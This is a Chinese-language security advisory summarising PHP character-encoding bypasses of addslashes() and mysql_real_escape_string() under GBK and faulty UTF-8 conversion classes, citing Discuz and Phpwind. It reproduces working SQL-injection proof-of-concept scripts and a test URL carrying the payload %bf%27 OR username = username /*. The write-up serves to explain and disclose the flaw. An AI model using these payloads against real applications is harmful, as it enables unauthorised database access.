当前位置: 安全纵横 > 安全公告

PHP字符编码绕过漏洞总结

漏洞说明:在外面广泛使用的众多php编码转换类中,已经被证明在某些情况下会存在安全问题,构造畸形的数据将导致转换类的结果不可靠,从而可能使数据绕过系统的安全认证,一些使用编码转换类的开源程序如Discuz,Phpwind已经被批漏存在问题,其他如sablog等知名PHP程序遭遇相同处境。

漏洞厂商:众多第三方编码转换类

漏洞解析:

编码转换类在系统存在iconv等函数的时候会选择iconv函数,但是如果系统不存在iconv或者不支持多字节编码转换的情况下,编码转换类会自己实现对编码的转换。在这里由于系统iconv在进行utf8编码转换时会严格遵守约定,对于不合法的数据将进行抛弃处理,而某些第三方编码类则会进行强行的转换,如一个非法的utf8字节如0xc15c27将被转换为0×808027或其他类似处理,这将导致其绕过程序的addslashes等安全保护,譬如恶意用户提交0xc127,经过php安全处理后将变成0xc15c27,然后经过转码后将成为0×808027,导致安全防护失败,导致安全漏洞。

该漏洞最早2006年被国外用来讨论数据库字符集设为GBK时,0xbf27本身不是一个有效的GBK字符,但经过 addslashes() 转换后

变为0xbf5c27,前面的0xbf5c是个有效的GBK字符,所以0xbf5c27会被当作一个字符0xbf5c和一个单引号来处理,结果漏洞就触

发了。

mysql_real_escape_string() 也存在相同的问题,只不过相比 addslashes() 它考虑到了用什么字符集来处理,因此可以用相

应的字符集来处理字符。在MySQL 中有两种改变默认字符集的方法。

方法一:

改变mysql配置文件my.cnf

CODE:
[client]
default-character-set=GBK
方法二:
在建立连接时使用
CODE:
SET CHARACTER SET 'GBK'
例:mysql_query("SET CHARACTER SET 'gbk'", $c);
问题是方法二在改变字符集时mysql_real_escape_string() 并不知道而使用默认字符集处理从而造成和 addslashes() 一样的漏洞
下面是来自http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html的测试代码
<?php

$c = mysql_connect("localhost", "user", "pass");
mysql_select_db("database", $c);

// change our character set
mysql_query("SET CHARACTER SET 'gbk'", $c);

// create demo table
mysql_query("CREATE TABLE users (
username VARCHAR(32) PRIMARY KEY,
password VARCHAR(32)
) CHARACTER SET 'GBK'", $c);
mysql_query("INSERT INTO users VALUES('foo','bar'), ('baz','test')", $c);

// now the exploit code
$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
$_POST['password'] = 'anything';

// Proper escaping, we should be safe, right?
$user = mysql_real_escape_string($_POST['username'], $c);
$passwd = mysql_real_escape_string($_POST['password'], $c);

$sql = "SELECT * FROM users WHERE username = '{$user}' AND password = '{$passwd}'";
$res = mysql_query($sql, $c);
echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records

?>
纵观以上两种触发漏洞的关键是addslashes() 在Mysql配置为GBK时就可以触发漏洞,而mysql_real_escape_string() 是在不知
道字符集的情况下用默认字符集处理产生漏洞的。
下面再来分析下国内最近漏洞产生的原因。
问题出现在一些字符转换函数上,例如mb_convert_encoding()和iconv()等。
发布在80sec上的说明说0xc127等一些字符再被addslashes() 处理成0xc15c27后,又经过一些字符转换函数变为0×808027,而使得经过
addslashes() 加上的"\"失效,这样单引号就又发挥作用了。这就造成了字符注入漏洞。
根据80sec的说明,iconv()没有该问题,但经我用0xbf27测试
$id1=mb_convert_encoding($_GET['id'], 'utf-8', 'gbk');
$id2=iconv('gbk//IGNORE', 'utf-8', $_GET['id']);
$id3=iconv('gbk', 'utf-8', $_GET['id']);
这些在GPC开启的情况下还是会产生字符注入漏洞,测试代码如下:
<?php

$c = mysql_connect("localhost", "user", "pass");
mysql_select_db("database", $c);

// change our character set
mysql_query("SET CHARACTER SET 'gbk'", $c);

// create demo table
mysql_query("CREATE TABLE users (
username VARCHAR(32) PRIMARY KEY,
password VARCHAR(32)
) CHARACTER SET 'GBK'", $c);
mysql_query("INSERT INTO users VALUES('foo','bar'), ('baz','test')", $c);

// now the exploit code
//$id1=mb_convert_encoding($_GET['id'], 'utf-8', 'gbk');
$id2=iconv('gbk//IGNORE', 'utf-8', $_GET['id']);
//$id3=iconv('gbk', 'utf-8', $_GET['id']);

$sql = "SELECT * FROM users WHERE username = '{$id2}' AND password = 'password'";
$res = mysql_query($sql, $c);
echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records

?>
测试情况 http://www.site.cn/test.php?id=%bf%27 OR username = username /*

这里不光是%bf,其它许多字符也可以造成同样漏洞.